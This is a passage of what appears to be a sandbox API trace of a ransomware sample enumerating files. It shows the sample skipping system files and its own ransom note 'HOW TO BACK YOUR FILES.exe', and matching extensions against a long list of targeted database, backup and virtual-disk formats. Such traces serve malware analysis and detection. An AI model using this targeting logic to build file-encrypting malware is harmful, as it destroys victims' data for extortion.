	[0035.700] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.700] lstrlenW (lpString="ora") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.700] lstrlenW (lpString="orx") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.700] lstrlenW (lpString="owc") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.700] lstrlenW (lpString="p96") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.700] lstrlenW (lpString="p97") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.700] lstrlenW (lpString="pan") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.700] lstrlenW (lpString="pdb") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.700] lstrlenW (lpString="pdm") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.700] lstrlenW (lpString="pnz") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.700] lstrlenW (lpString="qry") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.700] lstrlenW (lpString="qvd") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.700] lstrlenW (lpString="rbf") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.700] lstrlenW (lpString="rctd") returned 4
	[0035.700] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.700] lstrlenW (lpString="rod") returned 3
	[0035.700] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.701] lstrlenW (lpString="rodx") returned 4
	[0035.701] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.701] lstrlenW (lpString="rpd") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.701] lstrlenW (lpString="rsd") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.701] lstrlenW (lpString="sas7bdat") returned 8
	[0035.701] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.701] lstrlenW (lpString="sbf") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.701] lstrlenW (lpString="scx") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.701] lstrlenW (lpString="sdb") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.701] lstrlenW (lpString="sdc") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.701] lstrlenW (lpString="sdf") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.701] lstrlenW (lpString="sis") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.701] lstrlenW (lpString="spq") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.701] lstrlenW (lpString="te") returned 2
	[0035.701] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.701] lstrlenW (lpString="teacher") returned 7
	[0035.701] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.701] lstrlenW (lpString="tmd") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.701] lstrlenW (lpString="tps") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.701] lstrlenW (lpString="trc") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.701] lstrlenW (lpString="trc") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.701] lstrlenW (lpString="trm") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.701] lstrlenW (lpString="udb") returned 3
	[0035.701] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.702] lstrlenW (lpString="udl") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.702] lstrlenW (lpString="usr") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.702] lstrlenW (lpString="v12") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.702] lstrlenW (lpString="vis") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.702] lstrlenW (lpString="vpd") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.702] lstrlenW (lpString="vvv") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.702] lstrlenW (lpString="wdb") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.702] lstrlenW (lpString="wmdb") returned 4
	[0035.702] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.702] lstrlenW (lpString="wrk") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.702] lstrlenW (lpString="xdb") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.702] lstrlenW (lpString="xld") returned 3
	[0035.702] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.702] lstrlenW (lpString="xmlff") returned 5
	[0035.702] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.702] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d90fd90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d90fd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.702] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.702] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="Apollon865.txt.exe") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="..") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="windows") returned -1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="bootmgr") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="temp") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="pagefile.sys") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="boot") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="ids.txt") returned 1
	[0035.702] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="ntuser.dat") returned 1
	[0035.703] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="perflogs") returned 1
	[0035.703] lstrcmpiW (lpString1="Wildlife.wmv", lpString2="MSBuild") returned 1
	[0035.703] lstrlenW (lpString="Wildlife.wmv") returned 12
	[0035.703] lstrlenW (lpString="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini") returned 48
	[0035.703] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="Wildlife.wmv" | out: lpString1="Wildlife.wmv") returned="Wildlife.wmv"
	[0035.703] lstrlenW (lpString="Wildlife.wmv") returned 12
	[0035.703] lstrlenW (lpString="Apollon865") returned 10
	[0035.703] lstrcmpiW (lpString1="ldlife.wmv", lpString2="Apollon865") returned 1
	[0035.703] lstrlenW (lpString=".dll") returned 4
	[0035.703] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".dll") returned 1
	[0035.703] lstrlenW (lpString=".lnk") returned 4
	[0035.703] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".lnk") returned 1
	[0035.703] lstrlenW (lpString=".ini") returned 4
	[0035.703] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".ini") returned 1
	[0035.703] lstrlenW (lpString=".sys") returned 4
	[0035.703] lstrcmpiW (lpString1="Wildlife.wmv", lpString2=".sys") returned 1
	[0035.703] lstrlenW (lpString="Wildlife.wmv") returned 12
	[0035.703] lstrlenW (lpString="bak") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="bak") returned 1
	[0035.703] lstrlenW (lpString="ba_") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="ba_") returned 1
	[0035.703] lstrlenW (lpString="dbb") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="dbb") returned 1
	[0035.703] lstrlenW (lpString="vmdk") returned 4
	[0035.703] lstrcmpiW (lpString1=".wmv", lpString2="vmdk") returned -1
	[0035.703] lstrlenW (lpString="rar") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="rar") returned 1
	[0035.703] lstrlenW (lpString="zip") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="zip") returned -1
	[0035.703] lstrlenW (lpString="tgz") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="tgz") returned 1
	[0035.703] lstrlenW (lpString="vbox") returned 4
	[0035.703] lstrcmpiW (lpString1=".wmv", lpString2="vbox") returned -1
	[0035.703] lstrlenW (lpString="vdi") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="vdi") returned 1
	[0035.703] lstrlenW (lpString="vhd") returned 3
	[0035.703] lstrcmpiW (lpString1="wmv", lpString2="vhd") returned 1
	[0035.703] lstrlenW (lpString="vhdx") returned 4
	[0035.703] lstrcmpiW (lpString1=".wmv", lpString2="vhdx") returned -1
	[0035.703] lstrlenW (lpString="avhd") returned 4
	[0035.704] lstrcmpiW (lpString1=".wmv", lpString2="avhd") returned -1
	[0035.704] lstrlenW (lpString="db") returned 2
	[0035.704] lstrcmpiW (lpString1="mv", lpString2="db") returned 1
	[0035.704] lstrlenW (lpString="db2") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="db2") returned 1
	[0035.704] lstrlenW (lpString="db3") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="db3") returned 1
	[0035.704] lstrlenW (lpString="dbf") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="dbf") returned 1
	[0035.704] lstrlenW (lpString="mdf") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="mdf") returned 1
	[0035.704] lstrlenW (lpString="mdb") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="mdb") returned 1
	[0035.704] lstrlenW (lpString="sql") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="sql") returned 1
	[0035.704] lstrlenW (lpString="sqlite") returned 6
	[0035.704] lstrcmpiW (lpString1="fe.wmv", lpString2="sqlite") returned -1
	[0035.704] lstrlenW (lpString="sqlite3") returned 7
	[0035.704] lstrcmpiW (lpString1="ife.wmv", lpString2="sqlite3") returned -1
	[0035.704] lstrlenW (lpString="sqlitedb") returned 8
	[0035.704] lstrcmpiW (lpString1="life.wmv", lpString2="sqlitedb") returned -1
	[0035.704] lstrlenW (lpString="xml") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="xml") returned -1
	[0035.704] lstrlenW (lpString="$er") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="$er") returned 1
	[0035.704] lstrlenW (lpString="4dd") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="4dd") returned 1
	[0035.704] lstrlenW (lpString="4dl") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="4dl") returned 1
	[0035.704] lstrlenW (lpString="^^^") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="^^^") returned 1
	[0035.704] lstrlenW (lpString="abs") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="abs") returned 1
	[0035.704] lstrlenW (lpString="abx") returned 3
	[0035.704] lstrcmpiW (lpString1="wmv", lpString2="abx") returned 1
	[0035.704] lstrlenW (lpString="accdb") returned 5
	[0035.704] lstrcmpiW (lpString1="e.wmv", lpString2="accdb") returned 1
	[0035.704] lstrlenW (lpString="accdc") returned 5
	[0035.704] lstrcmpiW (lpString1="e.wmv", lpString2="accdc") returned 1
	[0035.704] lstrlenW (lpString="accde") returned 5
	[0035.705] lstrcmpiW (lpString1="e.wmv", lpString2="accde") returned 1
	[0035.705] lstrlenW (lpString="accdr") returned 5
	[0035.705] lstrcmpiW (lpString1="e.wmv", lpString2="accdr") returned 1
	[0035.705] lstrlenW (lpString="accdt") returned 5
	[0035.705] lstrcmpiW (lpString1="e.wmv", lpString2="accdt") returned 1
	[0035.705] lstrlenW (lpString="accdw") returned 5
	[0035.705] lstrcmpiW (lpString1="e.wmv", lpString2="accdw") returned 1
	[0035.705] lstrlenW (lpString="accft") returned 5
	[0035.705] lstrcmpiW (lpString1="e.wmv", lpString2="accft") returned 1
	[0035.705] lstrlenW (lpString="adb") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="adb") returned 1
	[0035.705] lstrlenW (lpString="adb") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="adb") returned 1
	[0035.705] lstrlenW (lpString="ade") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="ade") returned 1
	[0035.705] lstrlenW (lpString="adf") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="adf") returned 1
	[0035.705] lstrlenW (lpString="adn") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="adn") returned 1
	[0035.705] lstrlenW (lpString="adp") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="adp") returned 1
	[0035.705] lstrlenW (lpString="alf") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="alf") returned 1
	[0035.705] lstrlenW (lpString="ask") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="ask") returned 1
	[0035.705] lstrlenW (lpString="btr") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="btr") returned 1
	[0035.705] lstrlenW (lpString="cat") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="cat") returned 1
	[0035.705] lstrlenW (lpString="cdb") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="cdb") returned 1
	[0035.705] lstrlenW (lpString="ckp") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="ckp") returned 1
	[0035.705] lstrlenW (lpString="cma") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="cma") returned 1
	[0035.705] lstrlenW (lpString="cpd") returned 3
	[0035.705] lstrcmpiW (lpString1="wmv", lpString2="cpd") returned 1
	[0035.705] lstrlenW (lpString="dacpac") returned 6
	[0035.706] lstrcmpiW (lpString1="fe.wmv", lpString2="dacpac") returned 1
	[0035.706] lstrlenW (lpString="dad") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dad") returned 1
	[0035.706] lstrlenW (lpString="dadiagrams") returned 10
	[0035.706] lstrcmpiW (lpString1="ldlife.wmv", lpString2="dadiagrams") returned 1
	[0035.706] lstrlenW (lpString="daschema") returned 8
	[0035.706] lstrcmpiW (lpString1="life.wmv", lpString2="daschema") returned 1
	[0035.706] lstrlenW (lpString="db-journal") returned 10
	[0035.706] lstrcmpiW (lpString1="ldlife.wmv", lpString2="db-journal") returned 1
	[0035.706] lstrlenW (lpString="db-shm") returned 6
	[0035.706] lstrcmpiW (lpString1="fe.wmv", lpString2="db-shm") returned 1
	[0035.706] lstrlenW (lpString="db-wal") returned 6
	[0035.706] lstrcmpiW (lpString1="fe.wmv", lpString2="db-wal") returned 1
	[0035.706] lstrlenW (lpString="dbc") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dbc") returned 1
	[0035.706] lstrlenW (lpString="dbs") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dbs") returned 1
	[0035.706] lstrlenW (lpString="dbt") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dbt") returned 1
	[0035.706] lstrlenW (lpString="dbv") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dbv") returned 1
	[0035.706] lstrlenW (lpString="dbx") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dbx") returned 1
	[0035.706] lstrlenW (lpString="dcb") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dcb") returned 1
	[0035.706] lstrlenW (lpString="dct") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dct") returned 1
	[0035.706] lstrlenW (lpString="dcx") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dcx") returned 1
	[0035.706] lstrlenW (lpString="ddl") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="ddl") returned 1
	[0035.706] lstrlenW (lpString="dlis") returned 4
	[0035.706] lstrcmpiW (lpString1=".wmv", lpString2="dlis") returned -1
	[0035.706] lstrlenW (lpString="dp1") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dp1") returned 1
	[0035.706] lstrlenW (lpString="dqy") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dqy") returned 1
	[0035.706] lstrlenW (lpString="dsk") returned 3
	[0035.706] lstrcmpiW (lpString1="wmv", lpString2="dsk") returned 1
	[0035.707] lstrlenW (lpString="dsn") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="dsn") returned 1
	[0035.707] lstrlenW (lpString="dtsx") returned 4
	[0035.707] lstrcmpiW (lpString1=".wmv", lpString2="dtsx") returned -1
	[0035.707] lstrlenW (lpString="dxl") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="dxl") returned 1
	[0035.707] lstrlenW (lpString="eco") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="eco") returned 1
	[0035.707] lstrlenW (lpString="ecx") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="ecx") returned 1
	[0035.707] lstrlenW (lpString="edb") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="edb") returned 1
	[0035.707] lstrlenW (lpString="epim") returned 4
	[0035.707] lstrcmpiW (lpString1=".wmv", lpString2="epim") returned -1
	[0035.707] lstrlenW (lpString="fcd") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fcd") returned 1
	[0035.707] lstrlenW (lpString="fdb") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fdb") returned 1
	[0035.707] lstrlenW (lpString="fic") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fic") returned 1
	[0035.707] lstrlenW (lpString="flexolibrary") returned 12
	[0035.707] lstrlenW (lpString="fm5") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fm5") returned 1
	[0035.707] lstrlenW (lpString="fmp") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fmp") returned 1
	[0035.707] lstrlenW (lpString="fmp12") returned 5
	[0035.707] lstrcmpiW (lpString1="e.wmv", lpString2="fmp12") returned -1
	[0035.707] lstrlenW (lpString="fmpsl") returned 5
	[0035.707] lstrcmpiW (lpString1="e.wmv", lpString2="fmpsl") returned -1
	[0035.707] lstrlenW (lpString="fol") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fol") returned 1
	[0035.707] lstrlenW (lpString="fp3") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fp3") returned 1
	[0035.707] lstrlenW (lpString="fp4") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fp4") returned 1
	[0035.707] lstrlenW (lpString="fp5") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fp5") returned 1
	[0035.707] lstrlenW (lpString="fp7") returned 3
	[0035.707] lstrcmpiW (lpString1="wmv", lpString2="fp7") returned 1
	[0035.707] lstrlenW (lpString="fpt") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="fpt") returned 1
	[0035.708] lstrlenW (lpString="frm") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="frm") returned 1
	[0035.708] lstrlenW (lpString="gdb") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="gdb") returned 1
	[0035.708] lstrlenW (lpString="gdb") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="gdb") returned 1
	[0035.708] lstrlenW (lpString="grdb") returned 4
	[0035.708] lstrcmpiW (lpString1=".wmv", lpString2="grdb") returned -1
	[0035.708] lstrlenW (lpString="gwi") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="gwi") returned 1
	[0035.708] lstrlenW (lpString="hdb") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="hdb") returned 1
	[0035.708] lstrlenW (lpString="his") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="his") returned 1
	[0035.708] lstrlenW (lpString="ib") returned 2
	[0035.708] lstrcmpiW (lpString1="mv", lpString2="ib") returned 1
	[0035.708] lstrlenW (lpString="idb") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="idb") returned 1
	[0035.708] lstrlenW (lpString="ihx") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="ihx") returned 1
	[0035.708] lstrlenW (lpString="itdb") returned 4
	[0035.708] lstrcmpiW (lpString1=".wmv", lpString2="itdb") returned -1
	[0035.708] lstrlenW (lpString="itw") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="itw") returned 1
	[0035.708] lstrlenW (lpString="jet") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="jet") returned 1
	[0035.708] lstrlenW (lpString="jtx") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="jtx") returned 1
	[0035.708] lstrlenW (lpString="kdb") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="kdb") returned 1
	[0035.708] lstrlenW (lpString="kexi") returned 4
	[0035.708] lstrcmpiW (lpString1=".wmv", lpString2="kexi") returned -1
	[0035.708] lstrlenW (lpString="kexic") returned 5
	[0035.708] lstrcmpiW (lpString1="e.wmv", lpString2="kexic") returned -1
	[0035.708] lstrlenW (lpString="kexis") returned 5
	[0035.708] lstrcmpiW (lpString1="e.wmv", lpString2="kexis") returned -1
	[0035.708] lstrlenW (lpString="lgc") returned 3
	[0035.708] lstrcmpiW (lpString1="wmv", lpString2="lgc") returned 1
	[0035.708] lstrlenW (lpString="lwx") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="lwx") returned 1
	[0035.709] lstrlenW (lpString="maf") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="maf") returned 1
	[0035.709] lstrlenW (lpString="maq") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="maq") returned 1
	[0035.709] lstrlenW (lpString="mar") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mar") returned 1
	[0035.709] lstrlenW (lpString="marshal") returned 7
	[0035.709] lstrcmpiW (lpString1="ife.wmv", lpString2="marshal") returned -1
	[0035.709] lstrlenW (lpString="mas") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mas") returned 1
	[0035.709] lstrlenW (lpString="mav") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mav") returned 1
	[0035.709] lstrlenW (lpString="maw") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="maw") returned 1
	[0035.709] lstrlenW (lpString="mdbhtml") returned 7
	[0035.709] lstrcmpiW (lpString1="ife.wmv", lpString2="mdbhtml") returned -1
	[0035.709] lstrlenW (lpString="mdn") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mdn") returned 1
	[0035.709] lstrlenW (lpString="mdt") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mdt") returned 1
	[0035.709] lstrlenW (lpString="mfd") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mfd") returned 1
	[0035.709] lstrlenW (lpString="mpd") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mpd") returned 1
	[0035.709] lstrlenW (lpString="mrg") returned 3
	[0035.709] lstrcmpiW (lpString1="wmv", lpString2="mrg") returned 1
	[0035.710] lstrlenW (lpString="mud") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="mud") returned 1
	[0035.710] lstrlenW (lpString="mwb") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="mwb") returned 1
	[0035.710] lstrlenW (lpString="myd") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="myd") returned 1
	[0035.710] lstrlenW (lpString="ndf") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="ndf") returned 1
	[0035.710] lstrlenW (lpString="nnt") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="nnt") returned 1
	[0035.710] lstrlenW (lpString="nrmlib") returned 6
	[0035.710] lstrcmpiW (lpString1="fe.wmv", lpString2="nrmlib") returned -1
	[0035.710] lstrlenW (lpString="ns2") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="ns2") returned 1
	[0035.710] lstrlenW (lpString="ns3") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="ns3") returned 1
	[0035.710] lstrlenW (lpString="ns4") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="ns4") returned 1
	[0035.710] lstrlenW (lpString="nsf") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="nsf") returned 1
	[0035.710] lstrlenW (lpString="nv") returned 2
	[0035.710] lstrcmpiW (lpString1="mv", lpString2="nv") returned -1
	[0035.710] lstrlenW (lpString="nv2") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="nv2") returned 1
	[0035.710] lstrlenW (lpString="nwdb") returned 4
	[0035.710] lstrcmpiW (lpString1=".wmv", lpString2="nwdb") returned -1
	[0035.710] lstrlenW (lpString="nyf") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="nyf") returned 1
	[0035.710] lstrlenW (lpString="odb") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="odb") returned 1
	[0035.710] lstrlenW (lpString="odb") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="odb") returned 1
	[0035.710] lstrlenW (lpString="oqy") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="oqy") returned 1
	[0035.710] lstrlenW (lpString="ora") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="ora") returned 1
	[0035.710] lstrlenW (lpString="orx") returned 3
	[0035.710] lstrcmpiW (lpString1="wmv", lpString2="orx") returned 1
	[0035.710] lstrlenW (lpString="owc") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="owc") returned 1
	[0035.711] lstrlenW (lpString="p96") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="p96") returned 1
	[0035.711] lstrlenW (lpString="p97") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="p97") returned 1
	[0035.711] lstrlenW (lpString="pan") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="pan") returned 1
	[0035.711] lstrlenW (lpString="pdb") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="pdb") returned 1
	[0035.711] lstrlenW (lpString="pdm") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="pdm") returned 1
	[0035.711] lstrlenW (lpString="pnz") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="pnz") returned 1
	[0035.711] lstrlenW (lpString="qry") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="qry") returned 1
	[0035.711] lstrlenW (lpString="qvd") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="qvd") returned 1
	[0035.711] lstrlenW (lpString="rbf") returned 3
	[0035.711] lstrcmpiW (lpString1="wmv", lpString2="rbf") returned 1
	[0035.711] lstrlenW (lpString="rctd") returned 4
